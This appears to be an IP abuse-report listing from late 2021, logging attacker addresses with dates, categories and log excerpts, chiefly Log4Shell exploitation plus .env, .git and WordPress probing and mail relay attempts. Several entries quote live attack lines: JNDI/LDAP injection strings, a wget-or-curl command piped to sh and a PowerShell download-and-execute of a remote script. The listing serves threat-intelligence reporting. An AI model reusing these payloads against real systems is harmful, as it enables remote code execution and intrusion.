🇺🇸
68.183.165.105
17 Dec 2021
Used to log Log4Shell exploits
16: ldc #5 // String (wget -qO - http: ...
show more
Used to log Log4Shell exploits
16: ldc #5 // String (wget -qO - http://68.183.165.105/.l/log || curl http://68.183.165.105/.l/log) | sh
show less
Hacking
🇯🇵
172.105.241.146
17 Dec 2021
serves malware as part of Log4Shell exploit - // String (new-object System.Net.WebClient).DownloadF ...
show more
serves malware as part of Log4Shell exploit - // String (new-object System.Net.WebClient).DownloadFile(\'http://172.105.241.146:80/wp-content/themes/twentysixteen/s.cmd\', $env:temp + \'/s.cmd\');start-process -FilePath \'s.cmd\' -WorkingDirectory $env:tmp
show less
Hacking
🇨🇳
175.6.210.66
17 Dec 2021
175.6.210.66 - - [17/Dec/2021:09:20:20 +0100] "GET /${jndi:ldap://31.131.16.127:1389/Exploit} HTTP/1 ...
show more
175.6.210.66 - - [17/Dec/2021:09:20:20 +0100] "GET /${jndi:ldap://31.131.16.127:1389/Exploit} HTTP/1.1" 301 162 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
175.6.210.66 - - [17/Dec/2021:09:20:24 +0100] "GET / HTTP/1.1" 301 162 "-" "${jndi:ldap://31.131.16.127:1389/Exploit}"
show less
Hacking
🇨🇦
137.184.174.180
17 Dec 2021
Log4Shell mule
javaClassName: foo
javaCodeBase: http://137.184.174.180:8082/
objectClass: javaN ...
show more
Log4Shell mule
javaClassName: foo
javaCodeBase: http://137.184.174.180:8082/
objectClass: javaNamingReference
javaFactory: Exploit
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
show less
Hacking
🇺🇦
31.131.16.127
17 Dec 2021
log4shell
Hacking
🇷🇺
77.74.177.119
15 Dec 2021
unathorized access - 404
Bad Web Bot
🇷🇺
193.3.19.159
15 Dec 2021
serves malware - CVE-2021-44228 - log4j LDAP mule
Hacking
🇺🇸
199.195.251.182
15 Dec 2021
CVE-2021-44228 - Log4j exploitation
Hacking
🇨🇦
54.39.245.128
03 Dec 2021
6 times: 54.39.245.128 /.env
Web App Attack
🇩🇰
188.126.94.62
30 Nov 2021
1 188.126.94.62 http://i.pixita.com/robots.txt
Bad Web Bot
🇹🇷
185.174.28.73
30 Nov 2021
96 hits - /.env
Web App Attack
🇷🇺
185.255.134.18
30 Nov 2021
1 185.255.134.18 /wikindex.php?f=/NmRtJOUjAdutReQj/scRjKUhleBpzmTyO.txt
Web App Attack
🇺🇸
107.173.255.254
26 Nov 2021
Mail relay attempt
NOQUEUE: reject: RCPT from unknown[107.173.255.254]: 450 4.7.25 Client host reje ...
show more
Mail relay attempt
NOQUEUE: reject: RCPT from unknown[107.173.255.254]: 450 4.7.25 Client host rejected: cannot find your hostname, [107.173.255.254]; from=<elyyk@*****.com> to=<[email protected] > proto=ESMTP helo=<mail.*****.com>
show less
Email Spam
🇺🇸
107.182.128.13
26 Nov 2021
excessive port scanning
40 requests
Port Scan
🇺🇸
2600:1700:0:d2a0:e0f3:942:a690:6809
26 Nov 2021
excessive port scanning
Port Scan
🇹🇷
185.83.147.245
26 Nov 2021
4x 185.83.147.245 /webapp/config/environment
4x 185.83.147.245 /environment
4x 185.83. ...
show more
4x 185.83.147.245 /webapp/config/environment
4x 185.83.147.245 /environment
4x 185.83.147.245 /
show less
Web App Attack
🇺🇸
99.57.172.21
26 Nov 2021
93x POSTs
99.57.172.21 - - [26/Nov/2021:00:37:13 +0100] "\xAB\x00\x00\x00\x16\xA7\x08\xC6\xDE\x9EaJ ...
show more
93x POSTs
99.57.172.21 - - [26/Nov/2021:00:37:13 +0100] "\xAB\x00\x00\x00\x16\xA7\x08\xC6\xDE\x9EaJ\x96W\x0F\xC5\xB82k\xE7\xFD\x9A\xBAFW\xD8\xEE\x04i8\xD5\xC6\xF5\xE7HPJ\xBE\x13\xF3\x1E\xB1\xB6X\xA4\x22\x1F3+<A\xAAv\xCF\xBF\x02\xC0\xA0\xF0\xF0o\x98}\xE55-\xD9;\xC1O9#\x05\xA1Kd\x91\x91\x9CV\xA8O\xCA\x81\xA5\x08\xB3#9F\xBEM\xDF\xEF\xC8WI\xCC\x84\xC5Y\xB6=\xA7`<H\xC0;\xAB\x0C\x9DN\xD9\xCFX\x02\xDEy\x0E\xBA\xC9>N|\x9A>\x0B\xD1n\xFBwZ\x93\xC7\xF2\xDC\xF8\xF0\x0E*\x97\x02@V\x86\xF0\x87\xF8\xD2\x01jV8\xC4\x04\xC2-\xE4\xC2$\xDF\x85\x08mRe7C\xCA\x83\xBD\xDE!\xA7" 400 150 "-" "-"
show less
Hacking
🇺🇸
104.131.30.24
24 Nov 2021
Wordpress exploits
Web App Attack
🇺🇸
23.183.82.91
24 Nov 2021
probing, 404, http://www.k3k88.com/football/inner_redirect/skGameFootballInfoTwo/findFootballList
Web App Attack
🇨🇦
192.99.4.168
24 Nov 2021
pretending to be crawler
Bad Web Bot
🇩🇪
2a04:3542:1000:910:683d:91ff:feb1:3ff6
24 Nov 2021
looking for GIT repos
/.git/config
Exploited Host
Web App Attack
🇺🇸
108.170.60.183
22 Nov 2021
reject: RCPT from unknown[108.170.60.183]: 450 4.7.25 Client host rejected: cannot find your hostnam ...
show more
reject: RCPT from unknown[108.170.60.183]: 450 4.7.25 Client host rejected: cannot find your hostname, [108.170.60.183]; from=<[email protected] > to=<[email protected] >
show less
Email Spam
🇸🇬
178.128.218.225
18 Nov 2021
178.128.218.225 - - [18/Nov/2021:06:43:58 +0100] "GET //xmlrpc.php?rsd HTTP/1.1" 404 548 "-" "Mozill ...
show more
178.128.218.225 - - [18/Nov/2021:06:43:58 +0100] "GET //xmlrpc.php?rsd HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
178.128.218.225 - - [18/Nov/2021:06:43:58 +0100] "GET / HTTP/1.1" 200 7441 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
178.128.218.225 - - [18/Nov/2021:06:43:58 +0100] "GET //blog/wp-includes/wlwmanifest.xml HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
178.128.218.225 - - [18/Nov/2021:06:43:58 +0100] "GET //web/wp-includes/wlwmanifest.xml HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
show less
Web App Attack
🇸🇬
34.124.252.236
18 Nov 2021
34.124.252.236 - - [18/Nov/2021:02:31:03 +0100] "GET //xmlrpc.php?rsd HTTP/1.1" 404 548 "-" "Mozilla ...
show more
34.124.252.236 - - [18/Nov/2021:02:31:03 +0100] "GET //xmlrpc.php?rsd HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
34.124.252.236 - - [18/Nov/2021:02:31:04 +0100] "GET / HTTP/1.1" 200 7441 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
34.124.252.236 - - [18/Nov/2021:02:31:04 +0100] "GET //blog/wp-includes/wlwmanifest.xml HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
show less
Web App Attack
🇵🇱
193.169.254.179
18 Nov 2021
193.169.254.179 - - [18/Nov/2021:09:34:57 +0100] "GET /vod_installer/.env HTTP/1.1" 301 162 "-" "Moz ...
show more
193.169.254.179 - - [18/Nov/2021:09:34:57 +0100] "GET /vod_installer/.env HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
193.169.254.179 - - [18/Nov/2021:09:34:57 +0100] "GET /vod_installer/.env HTTP/1.1" 404 146 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
193.169.254.179 - - [18/Nov/2021:09:34:57 +0100] "GET /login/.env HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
193.169.254.179 - - [18/Nov/2021:09:34:57 +0100] "GET /login/.env HTTP/1.1" 404 146 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
193.169.254.179 - - [18/Nov/2021:09:34:57 +0100] "GET /apps/.env HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
193.169.254.179 - - [18/Nov/2021:09:34:57 +0100] "GET /apps/.env HTTP/1.1" 404 146 "-" "Mozilla/5.0 (Windows NT 10.0;
show less
Web App Attack